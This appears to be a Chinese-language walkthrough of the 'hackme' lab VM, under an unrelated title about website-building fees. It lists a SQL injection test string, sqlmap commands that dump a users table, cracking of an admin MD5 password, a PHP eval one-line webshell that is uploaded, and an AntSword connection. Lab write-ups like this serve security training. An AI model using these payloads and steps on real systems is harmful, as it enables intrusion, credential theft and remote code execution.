专业的网站建设收费标准网站建设 部署与发布试题
1.打开kali虚拟机和hackme靶机,都用nat模式连接

2.用kali扫描hackme靶机的ip

3.外部浏览器访问靶机IP

4.运用kali dirb命令扫描敏感文件

5.注册用户,登录

6.进入首页,发现是一个查询页面,可能存在sql注入

7.判断是否存在sql注入
windows

windows' and 1=2#

8.bp抓搜索的包

将抓到的包保存成一个文件,在windows后面加一个*,说明这里是注入点

9.kali中使用sqlmap工具
爆破库名
sqlmap -r '1.txt' --current-db

爆破表名
sqlmap -r '1.txt' -D webapphacking --tables

打印‘users’表
sqlmap -r '1.txt' -D webapphacking -T users --dump

发现有一个超级管理员用户,密码md5解密

10.登录超级管理员用户,发现文件上传

11.上传一句话木马
<?php @eval($_POST['cmd']);?>

12.访问uploads目录下,发现上传的木马

13.蚁剑连接


